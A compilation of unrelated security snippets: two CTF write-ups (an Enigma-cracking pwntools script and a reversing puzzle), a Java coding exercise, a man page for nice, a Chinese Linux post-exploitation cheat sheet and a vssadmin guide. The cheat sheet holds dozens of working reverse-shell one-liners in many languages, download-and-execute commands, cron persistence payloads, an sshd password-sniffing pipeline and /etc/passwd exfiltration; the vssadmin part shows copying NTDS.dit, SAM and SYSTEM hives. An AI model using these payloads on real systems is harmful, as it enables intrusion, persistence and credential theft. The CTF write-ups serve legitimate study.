AWJXA! PVRYFVYA: AZEW-DSPPMR-GVKA WJV-UCXVEV-TSKI ETJJCDM I don't understand you DXFTS KDJAP MKMOV! FBLUCEWD: JUCT-UJOWUM-DRAM KMW-ZEQRVA-BOXO NKFTQFR I don't understand you QPAAX ICMGA LXXYA! JJEIYCTU: PETO-LJPDCM-EXVL XXJ-JNSTSG-XJRK ASEUPJH I don't understand you DSFGH KUXMU PPLPG! TFAXVTOL: CSKX-DMLXEL-DIAP PLY-RMBNJC-IAMQ FXBFDUY I don't understand you RKIML XFLVA BKXMC! NEAGRKXD: XERT-EXCXNV-JOGB KXR-PRICJV-PMMP AHWYEPZ I don't understand you YEMVX VIXFX XLPRV! VBORXRTE: AVBB-YLHSMA-TKCX LPU-UHPZMW-ALLB ZLTWPGU I don't understand you WMZFB VSPAG BOSZW! DWCLIBBY: DSIX-WXNGRM-UQVB OSY-NYFGXJ-UPVF BXKTCLE I don't understand you ZUSAN OUSFF FIKNJ! KTLEOIXW: UJWI-RPWMHR-FPWF IKK-AZJCLY-ABAW HBSOBNS I don't understand you MCYFP EAKIF COECY! PKEAKWIR: LJXP-ESCHYM-YBJC OEX-JUTOXR-XXMJ INXXTAE ``` Obviously, each time we connect to the server from scratch, the initial configuration is randomly selected. Let's try to break down how this [Enigma](https://en.wikipedia.org/wiki/Enigma_machine) works. It first starts by selecting *today's configuration*. This means, creating a random number of *rotors* between 3 and 6, where each rotor has a random amount of rotates (selected from `{3, 5, 7, 11, 17, 19, 23}`). This Enigma encrypts only ASCII uppercase letters. It does so by encrypting letter after letter, where each letter is encrypted by passing it through all the rotors. Let's see an example. Suppose our initial configuration is: ```python len(self.rotors) 3 self.rotors[0] Rotor("ODEIXTCZYNSLBQRMGAVPHFWJUK", 11) self.rotors[1] Rotor("OLWYBQEVDKMASIGJFCHNZTXPRU", 3) self.rotors[2] Rotor("ULOHBPIVZJDQSNEAGXTMYRKFWC", 19) ``` Now we want to encrypt the letter `H`. For each letter, we run three encryption iterations - one for each rotor. First, we identify `H`'s index in the alphabet: `7`. The result of the first iteration is therefore `rotor.data[7]`: `Z`. Now we rotate the rotor by `11`. Next, we encrypt `Z` with the second rotor: `U`. We rotate the second rotor by `3` after this. Finally, we encrypt `U` with the third rotor: `Y`, and rotate the third rotor by `19`. This is how the rotors are now configured after each of them was rotated `self.rotate_amount` times: ```python self.rotors[0] Rotor(LBQRMGAVPHFWJUKODEIXTCZYNS, 11) self.rotors[1] Rotor(YBQEVDKMASIGJFCHNZTXPRUOLW, 3) self.rotors[2] Rotor(MYRKFWCULOHBPIVZJDQSNEAGXT, 19) ``` The encryption of the next letter starts from this configuration. The key to cracking this encryption is the understanding that each rotor returns to its initial configuration after 26 rounds, no matter what `rotate_amount` is: ```python >>> import string, random >>> rotor = "".join(random.sample(string.ascii_uppercase, 26)) >>> initial_rotor = rotor >>> for rotate_amount in range(26): ... for i in range(26): ... rotor = rotor[rotate_amount:] + rotor[:rotate_amount] ... assert(rotor == initial_rotor) ... >>> ``` So, after every 26 letters that a rotor encrypts, it returns to the initial configuration. Our message to be encrypted, excluding non-ASCII-uppercase letters, is: ```python >>> import re >>> PLAINTEXT = """ ... HELLO FIELD AGENT! ... COMMANDS: ... SEND-SECRET-DATA ... GET-SECRET-DATA ... GOODBYE ... """ >>> clean_plaintext = re.sub("[^A-Z]", "", PLAINTEXT) >>> clean_plaintext 'HELLOFIELDAGENTCOMMANDSSENDSECRETDATAGETSECRETDATAGOODBYE' ``` This means that after encrypting `clean_plaintext[:26]` (`'HELLOFIELDAGENTCOMMANDSSEN'`), the configuration is back to the initial one. Only this time, the initial configuration will be used to encrypt `clean_plaintext[26]` which is `D` and not `clean_plaintext[0]` which is `H`. So we now can observe what both `H` and `D` are encrypted to in the initial configuration. This, together with the fact that we can keep encrypting the same known message again and again, will allow us to create a mapping between plaintext and encrypted letters for (almost) every machine state. We don't even need to know the number of rotors or the actual initial configuration of each rotor for that. We'll use the following Python class to wrap the Enigma interface and crack it by using the mechanism described above: ```python from pwn import * import string from collections import namedtuple import itertools from pprint import pprint import re r = remote("18.156.68.123", 80) PLAINTEXT = """ HELLO FIELD AGENT! COMMANDS: SEND-SECRET-DATA GET-SECRET-DATA GOODBYE """ class EnigmaWrapper: def __init__(self, machine, machine_alphabet, interface_plaintext): self.machine = machine self.machine_alphabet = machine_alphabet self.clean_interface_plaintext = self._clean_message(interface_plaintext) self.state = 0 self.encrypted_chars_read_from_machine = 0 self.encrypted_chars_sent_to_machine = 0 self.queue = [] self.state_to_encryption_map = [dict() for i in range(len(machine_alphabet))] self.state_to_decryption_map = [dict() for i in range(len(machine_alphabet))] self.machine.recvuntil("Insecure channel. Encrypting with today's configuration..\n") self._crack_code() def _clean_message(self, message): return [c for c in message if c in self.machine_alphabet] def _read_encrypted_interface(self): output = self.machine.recvuntil(" \n").decode("ascii") clean_output = self._clean_message(output) assert(len(clean_output) == len(self.clean_interface_plaintext)) self.encrypted_chars_read_from_machine += len(clean_output) self.queue += list(clean_output) def _get_next_char(self): if len(self.queue) == 0: if self.encrypted_chars_read_from_machine > 0: self.machine.send("\n") self.machine.recvuntil("I don't understand you\n") self._read_encrypted_interface() return self.queue.pop(0) def _crack_code(self): with log.progress('Cracking code') as p: visited_combinations = set() for i in itertools.count(): current_char_offset = i % len(self.clean_interface_plaintext) current_machine_state = i % len(self.machine_alphabet) state_offset_combination = (current_machine_state, current_char_offset) if state_offset_combination in visited_combinations: break plain_char = self.clean_interface_plaintext[current_char_offset] cipher_char = self._get_next_char() p.status("Mapping {}<->{} in machine state {}".format(plain_char, cipher_char, state_offset_combination)) self.state_to_encryption_map[current_machine_state][plain_char] = cipher_char self.state_to_decryption_map[current_machine_state][cipher_char] = plain_char visited_combinations.add(state_offset_combination) assert(i == len(self.clean_interface_plaintext) * len(self.machine_alphabet)) ``` Now we have to send a message to the Enigma: `SEND-SECRET-DATA`. To do that we must encrypt it using the current configuration, which we must keep track of through the `_crack_code` process. We do that by counting the number of letters that were encrypted/decrypted by the machine: ```python @property def machine_state(self): return (self.encrypted_chars_read_from_machine + self.encrypted_chars_sent_to_machine) % len(self.machine_alphabet) def send_encrypted_message(self, plaintext_message): encrypted_message = "" num_encrypted_chars = 0 initial_state = self.machine_state for c in plaintext_message: if c in self.machine_alphabet: encrypted_message += self.state_to_encryption_map[(initial_state + num_encrypted_chars) % len(self.machine_alphabet)][c] num_encrypted_chars += 1 else: encrypted_message += c self.machine.sendline(encrypted_message) log.info("Encrypting '{}' to '{}'".format(plaintext_message, encrypted_message)) self.encrypted_chars_sent_to_machine += num_encrypted_chars return self.machine.recvuntil("\n", drop = True).decode("ascii") ``` Finally, we'll have to decrypt the message received from the machine in the same way: ```python def decrypt_message(self, encrypted_message): decrypted_message = "" num_decrypted_chars = 0 for c in encrypted_message: if c in self.machine_alphabet: decrypted_message += self.state_to_decryption_map[(self.machine_state + num_decrypted_chars) % len(self.machine_alphabet)].get(c, '?') num_decrypted_chars += 1 else: decrypted_message += c log.info("Decrypted '{}' as '{}'".format(encrypted_message, decrypted_message)) return decrypted_message ``` What's left is to trigger the flow with: ```python ew = EnigmaWrapper(r, string.ascii_uppercase, PLAINTEXT) flag = ew.send_encrypted_message("GET-SECRET-DATA") print(ew.decrypt_message(flag)) ``` Output: ```console root@kali:/media/sf_CTFs/checkpoint/Stronger_Enigma/enigma# python3 solve.py [+] Opening connection to 18.156.68.123 on port 80: Done [+] Cracking code: Done [*] Encrypting 'GET-SECRET-DATA' to 'JWY-QTWBKP-OWHG' [*] Decrypted 'DBB{MY_U_HNITJMZ_RT_XGZJQRBO_JK_FK_ALUDPKXQZ_JZ_VUUUUO_NEGK_SG_DAGUODEVXDD}' as 'CSA{IF_A_MACHINE_IS_E??ECTED_TO_BE_INFALLIBE_IT_CANNOT_ALSO_BE_INTELLIGENT}' CSA{IF_A_MACHINE_IS_E??ECTED_TO_BE_INFALLIBE_IT_CANNOT_ALSO_BE_INTELLIGENT} ``` It looks like we weren't able to decrypt two characters: ``` CSA{IF_A_MACHINE_IS_E??ECTED_TO_BE_INFALLIBE_IT_CANNOT_ALSO_BE_INTELLIGENT} ^^ ``` This happened because these two letters where encrypted in a state which we haven't previously visited when encrypted them. Fortunately, we can guess the missing letters. The flag: `CSA{IF_A_MACHINE_IS_EXPECTED_TO_BE_INFALLIBE_IT_CANNOT_ALSO_BE_INTELLIGENT}`
sec-knowleage
# 37. 序列化二叉树 [NowCoder](https://www.nowcoder.com/practice/cf7e25aa97c04cc1a68c8f040e71fb84?tpId=13&tqId=11214&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 请实现两个函数,分别用来序列化和反序列化二叉树。 ## 解题思路 ```java private String deserializeStr; public String Serialize(TreeNode root) { if (root == null) return "#"; return root.val + " " + Serialize(root.left) + " " + Serialize(root.right); } public TreeNode Deserialize(String str) { deserializeStr = str; return Deserialize(); } private TreeNode Deserialize() { if (deserializeStr.length() == 0) return null; int index = deserializeStr.indexOf(" "); String node = index == -1 ? deserializeStr : deserializeStr.substring(0, index); deserializeStr = index == -1 ? "" : deserializeStr.substring(index + 1); if (node.equals("#")) return null; int val = Integer.valueOf(node); TreeNode t = new TreeNode(val); t.left = Deserialize(); t.right = Deserialize(); return t; } ```
sec-knowleage
nice === 调整程序执行的优先权等级 ## 补充说明 **nice命令** 用于调整进程调度优先级启动其他的程序。 ### 语法 ```shell nice [选项] [命令 [参数]...] ``` ### 选项 ```shell -n:指定nice值(整数,-20(最低)~19(最高))。 ``` ### 参数 指令及选项:需要运行的指令及其他选项。 ### 实例 新建一个进程并设置优先级,将当前目录下的documents目录打包,但不希望tar占用太多CPU: ```shell nice -19 tar zcf pack.tar.gz documents ``` 方法非常简单,即在原命令前加上`nice -19`。很多人可能有疑问了,最低优先级不是19么?那是因为这个“-19”中的“-”仅表示参数前缀;所以,如果希望将当前目录下的documents目录打包,并且赋予tar进程最高的优先级就应该加上`nice --20`: ```shell nice --20 tar zcf pack.tar.gz documents ```
sec-knowleage
# Linux 安全 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 漏洞利用 - [OS-Exploits](./OS-Exploits.md#Linux) --- ## LOL `Living Off The Land` **相关文章** - [busybox docker 受限环境下回传文件](https://landgrey.me/blog/3/) - [命令行上线小技巧](https://blog.m1kh.com/index.php/archives/694/) **相关资源** - [GTFOBins](https://gtfobins.github.io/) - https://github.com/LOLBAS-Project/LOLBAS **相关工具** - [sameera-madushan/Print-My-Shell](https://github.com/sameera-madushan/Print-My-Shell) - 自动化生成各种类型的反向 Shell - [lukechilds/reverse-shell](https://github.com/lukechilds/reverse-shell) - Reverse Shell as a Service - [nodauf/Girsh](https://github.com/nodauf/Girsh) - nc 的替代品 - [WangYihang/Platypus](https://github.com/WangYihang/Platypus) ```bash ./Platypus list # 查看连接 jump xxxx # 跳到目标机器 Interact # 交互模式 ``` **查看语言/代码支持情况** ```bash find / -name perl* find / -name python* find / -name gcc* find / -name cc ``` **查找可利用于传输文件的命令** ```bash find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp find / -name scp ``` ### bash - tcp ```bash bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 /bin/bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 # 绕waf # ip转十进制 /???/b??h -i >& /dev/tcp/167772161/4242 0>&1 0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196 ``` - udp ```bash Victim: sh -i >& /dev/udp/10.0.0.1/4242 0>&1 Listener: nc -u -lvp 4242 ``` ### Socat ```bash user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242 user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242 ``` ```bash user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242 ``` Static socat binary can be found at [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat) ### nc - **bind shell** ```bash # 被控端 nc -lvp 4444 -e cmd.exe # win nc -lvp 4444 -e /bin/bash # linux # 攻击端 nc -nv 192.168.1.1 4444 python -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm ``` - **reverse shell** ```bash # 被控端 nc -nv 192.168.1.1 4444 -e /bin/bash # 攻击端 nc -lvp 4444 python -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm ``` - **文件传输** ```bash # 收 nc -nvlp 4444 > aaa ``` ```bash # 发 nc -nv 192.168.1.1 4444 </usr/share/aaa # kali ``` #### ncat ```bash # 被控端 ncat lvp 4444 -e cmd.exe --allow 192.168.1.1 --ssl # 攻击端 ncat -v 192.168.1.1 4444 --ssl python -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm ``` #### Netcat Traditional ```bash nc -e /bin/sh 10.0.0.1 4242 nc -e /bin/bash 10.0.0.1 4242 nc -c bash 10.0.0.1 4242 ``` #### Netcat OpenBsd ```bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f ``` ### curl ```bash curl -o test.elf https://xxx.com/shell/test.elf && chmod +x test.elf && ./test.elf ``` ### wget ```bash wget http://1.1.1.1/shell ``` ### Other #### perl ```perl perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` #### python - IPv4 ```python export RHOST="10.0.0.1";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' ``` ```python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' ``` - IPv6 ```python python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' ``` ```python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` #### php ```bash php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");' ``` ```bash php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);' ``` #### ruby ```ruby ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` #### Golang ```bash echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go ``` #### lambda Node.js ```js vim shell.js (function(){ var net=require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh",[]); var client = new net.Socket(); client.connect(8888,"1.1.1.1",function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })(); ``` ```bash node shell.js ``` #### java ```java r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/1.1.1.1/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` - **Java Alternative 1** ```java String host="127.0.0.1"; int port=4444; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` - **Java Alternative 2** **NOTE**: This is more stealthy ```java Thread thread = new Thread(){ public void run(){ // Reverse shell here } } thread.start(); ``` #### lua ```bash lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');" ``` ```bash lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` #### openssl Attacker: ```bash # 生成密钥 openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes # 启动监听 openssl s_server -quiet -key key.pem -cert cert.pem -port 4242 ``` ```bash # 在目标机器上回弹 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s ``` #### awk ```bash awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` #### whois 接收端 ``` nc -vlnp 1337 | sed "s/ //g" | base64 -d ``` 发送端 ``` whois -h 127.0.0.1 -p 1337 `cat /etc/passwd | base64` ``` #### network-scripts > 来自文章 : https://seclists.org/fulldisclosure/2019/Apr/24 Redhat/CentOS 发行版下通过写恶意网卡配置文件进行命令执行 ```bash sudo tee /etc/sysconfig/network-scripts/ifcfg-1337 <<-'EOF' NAME=Network /bin/id &lt;= Note the blank space ONBOOT=yes DEVICE=eth0 EOF service network restart # 重启网络管理触发 systemctl status network.service # 可以看到 id 已经执行 ``` --- ## 启动项 & 定时任务 **相关文章** - [Linux Crontab定时任务反弹shell的坑](https://joychou.org/hostsec/linux-crontab-rebound-shell-hole.html) **Tips** - ubuntu 不能使用 bash 反弹 shell,可以用python,perl反弹 - ubuntu 用户的定时任务在 /var/spool/cron/crontabs/ 目录下 - ubuntu 用户定时任务必须在 600 权限才能执行 - 如果做了白名单后缀,只允许 jpg ,可以传到 `/etc/cron.d/` 目录下,这里文件可以任意后缀命名,上传文件名为 `test.jpg` 绕过对应的安全检查 **一些路径** ``` centos 的定时任务在 /var/spool/cron/root/ ubuntu 的定时任务在 /var/spool/cron/crontabs/root/ /etc/crontab /etc/cron.d/ ``` **payload** ``` (crontab -l;printf "* * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n")|crontab - echo "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" >> /etc/crontab echo "* * * * * root echo 'success' > /tmp/crontest" >> /etc/cron.d/test123.cron ``` --- ## 认证 **相关文章** - [How to Crack Shadow Hashes After Getting Root on a Linux System](https://null-byte.wonderhowto.com/how-to/crack-shadow-hashes-after-getting-root-linux-system-0186386/) - [Linux下的密码Hash——加密方式与破解方法的技术整理](https://3gstudent.github.io/3gstudent.github.io/Linux%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81Hash-%E5%8A%A0%E5%AF%86%E6%96%B9%E5%BC%8F%E4%B8%8E%E7%A0%B4%E8%A7%A3%E6%96%B9%E6%B3%95%E7%9A%84%E6%8A%80%E6%9C%AF%E6%95%B4%E7%90%86/) **相关工具** - [huntergregal/mimipenguin](https://github.com/huntergregal/mimipenguin) - 从当前 Linux 用户转储登录密码的工具 - [Hashcat](../../安全工具/Hashcat.md#爆破shadow文件) ### 口令抓取 当我们拿下 windows 机器时可以通过抓内存中的密码进行横向,但 linux 却不可能抓到内存中的密码,但是 Debian 系列下的 linux 系统可以通过监听 sshd 进程的数据抓取出明文密码,比如你拿下了一台管理员机器,上面由 xshell,你可以手动开一个监听,在开一个登录,监听的窗口上就抓出密码了 ```bash strace -xx -fp `cat /var/run/sshd.pid` 2>&1| grep --line-buffered -P 'write\(\d, "\\x00' | perl -lne '$|++; @F=/"\s*([^"]+)\s*"/g;for (@F){tr/\\x//d}; print for @F'|grep --line-buffered -oP '.{8}\K([2-7][0-9a-f])*$'|grep --line-buffered -v '^64$'|perl -pe 's/([0-9a-f]{2})/chr hex $1/gie' ``` 实测 kali、ubuntu 都可以,centos 不行 ### 权限提升 - 参考 [权限提升](../后渗透/权限提升.md#linux) 中的 linux 部分 --- ## 无文件攻击 **相关文章** - [如何使用命令行对无文件恶意软件进行取证](https://www.anquanke.com/post/id/210696) - [Linux无文件渗透执行ELF](https://www.secpulse.com/archives/70269.html) - [In-Memory-Only ELF Execution (Without tmpfs)](https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html)
sec-knowleage
## wyvern (re, 500p, 96 solves) ### PL Version `for ENG version scroll down` To zadanie prawdopodobnie byłoby bardzo trudne do zrobienia "klasycznie" (w końcu 500 punktów), ale nam udało się je zrobić bardzo szybko za pomocą statycznej analizy (i odrobiny intuicji, a.k.a. zgadywania). Otwieramy [binarkę](wyvern), i wita nas ściana kodu napisanego w C++ (tzn. ściana asemblera, która pewnie powstała ze średniej ilości kodu napisanego w C++ z szablonami, ale tak czy inaczej dość przytłaczająca). Zamiast zabierać się na ślepo do analizy krok po kroku przeglądamy kod statycznie, i znajdujemy ciekawy fragment: secret_100 dd 64h secret_214 dd 0D6h secret_266 dd 10Ah secret_369 dd 171h secret_417 dd 1A1h secret_527 dd 20Fh secret_622 dd 26Eh secret_733 dd 2DDh secret_847 dd 34Fh secret_942 dd 3AEh secret_1054 dd 41Eh secret_1106 dd 452h secret_1222 dd 4C6h secret_1336 dd 538h secret_1441 dd 5A1h secret_1540 dd 604h secret_1589 dd 635h secret_1686 dd 696h secret_1796 dd 704h secret_1891 dd 763h secret_1996 dd 7CCh secret_2112 dd 840h secret_2165 dd 875h secret_2260 dd 8D4h secret_2336 dd 920h secret_2412 dd 96Ch secret_2498 dd 9C2h Co w nim takiego ciekawego? No więc mamy trochę liczb, ułożonych rosnąco. Pierwsza liczba < 0x80, i każda kolejna jest większa od poprzedniej o mniej niż 0x80. A gdyby tak zrobić ślepy strzał i sprawdzić narzucającą się rzecz?: >>> nums = [ ... 0x64, 0x0D6, 0x10A, 0x171, 0x1A1, 0x20F, 0x26E, 0x2DD, ... 0x34F, 0x3AE, 0x41E, 0x452, 0x4C6, 0x538, 0x5A1, 0x604, ... 0x635, 0x696, 0x704, 0x763, 0x7CC, 0x840, 0x875, 0x8D4, ... 0x920, 0x96C, 0x9C2, 0xA0F ... ] >>> print ''.join(chr(b - a) for a, b in zip([0] + nums, nums)) dr4g0n_or_p4tric1an_it5_LLVM Szybko poszło, jesteśmy 500 punktów do przodu ### ENG Version This task would probably be very hard to solve in the "classic" way (after all it was 500 points), but we managed to solve it very quickly using only static code analysis (and some intuition and guessing). We open the [binary](wyvern) and we are faced with a wall of C++ code (technically with a wall of assembly code which came from a modest C++ templates code, but still it was overwhelming). Instead of trying to analyse the code blindly step-by-step, we start with some static analysis and we find an interesting thing: secret_100 dd 64h secret_214 dd 0D6h secret_266 dd 10Ah secret_369 dd 171h secret_417 dd 1A1h secret_527 dd 20Fh secret_622 dd 26Eh secret_733 dd 2DDh secret_847 dd 34Fh secret_942 dd 3AEh secret_1054 dd 41Eh secret_1106 dd 452h secret_1222 dd 4C6h secret_1336 dd 538h secret_1441 dd 5A1h secret_1540 dd 604h secret_1589 dd 635h secret_1686 dd 696h secret_1796 dd 704h secret_1891 dd 763h secret_1996 dd 7CCh secret_2112 dd 840h secret_2165 dd 875h secret_2260 dd 8D4h secret_2336 dd 920h secret_2412 dd 96Ch secret_2498 dd 9C2h What is so interesting? Well we have some numbers, in ascending oerder. With number < 0x80 and every next one is bigger from previous by less than 0x80. What if we tried a shot in the dark and check what seems to stick out?: >>> nums = [ ... 0x64, 0x0D6, 0x10A, 0x171, 0x1A1, 0x20F, 0x26E, 0x2DD, ... 0x34F, 0x3AE, 0x41E, 0x452, 0x4C6, 0x538, 0x5A1, 0x604, ... 0x635, 0x696, 0x704, 0x763, 0x7CC, 0x840, 0x875, 0x8D4, ... 0x920, 0x96C, 0x9C2, 0xA0F ... ] >>> print ''.join(chr(b - a) for a, b in zip([0] + nums, nums)) dr4g0n_or_p4tric1an_it5_LLVM Well that was fast, and we are 500 points up.
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) > ---- ## Vssadmin Applies To: Windows Server 2003, Windows Server 2008, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012, Windows 8 | **Command** | **Description** | |:----------|:---------------| |Vssadmin add shadowstorage | Adds a volume shadow copy storage association.| | Vssadmin create shadow | Creates a new volume shadow copy. | | Vssadmin delete shadows | Deletes volume shadow copies. | | Vssadmin delete shadowstorage | Deletes volume shadow copy storage associations. | | Vssadmin list providers | Lists registered volume shadow copy providers. | |Vssadmin list shadows|Lists existing volume shadow copies.| |Vssadmin list shadowstorage|Lists all shadow copy storage associations on the system.| |Vssadmin list volumes|Lists volumes that are eligible for shadow copies.| |Vssadmin list writers|Lists all subscribed volume shadow copy writers on the system.| |Vssadmin resize shadowstorage|Resizes the maximum size for a shadow copy storage association.| ## With Administrator Privilege ``` PS C:\Users\Administrator\Desktop>vssadmin List Shadows vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool (C) Copyright 2001-2005 Microsoft Corp. Error: You don't have the correct permissions to run this command. Please run t his utility from a command window that has elevated administrator privileges. ``` ## List Shadows ``` C:\Windows\system32>vssadmin List Shadows vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool (C) Copyright 2001-2005 Microsoft Corp. No items found that satisfy the query. ``` ### Create Shadow ``` C:\Windows\system32>vssadmin Create Shadow /for=C: vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool (C) Copyright 2001-2005 Microsoft Corp. Successfully created shadow copy for 'C:\' Shadow Copy ID: {153b6835-be81-45ed-bd01-2edbf4f61a85} Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 ``` ### Copy Files ``` PS C:\Users\Administrator\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ PS C:\Users\Administrator\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C :\temp\ PS C:\Users\Administrator\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\t emp\ C:\Windows\system32>vssadmin List Shadows vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool (C) Copyright 2001-2005 Microsoft Corp. Contents of shadow copy set ID: {7b37f005-c738-450c-83cd-ad2f237f2b28} Contained 1 shadow copies at creation time: 11/5/2016 1:19:40 AM Shadow Copy ID: {153b6835-be81-45ed-bd01-2edbf4f61a85} Original Volume: (C:)\\?\Volume{be4f748a-a19f-11e6-a5bb-806e6f6e6963}\ Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 Originating Machine: SERVER2008.thegeekstuff.com Service Machine: SERVER2008.thegeekstuff.com Provider: 'Microsoft Software Shadow Copy provider 1.0' Type: ClientAccessible Attributes: Persistent, Client-accessible, No auto release, No writers, Differential ``` ### Delete Shadows ``` C:\Windows\system32>vssadmin Delete Shadows /For=C: vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool (C) Copyright 2001-2005 Microsoft Corp. Do you really want to delete 1 shadow copies (Y/N): [N]? Y Successfully deleted 1 shadow copies. ``` ---- ## Invoke-NinjaCopy ``` PS C:\Users\Administrator> Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -ComputerName SERVER -localDestination "C:\temp\SYSTEM" PS C:\Users\Administrator> Invoke-NinjaCopy -Path "C:\Windows\NTDS\NTDS.dit" -ComputerName SERVER -localDestination "C:\temp\NTDS.dit" ``` ## References 1. https://technet.microsoft.com/en-us/library/cc754968(v=ws.11).aspx 2. [Tutorial for NTDS goodness (VSSADMIN, WMIS, NTDS.dit, 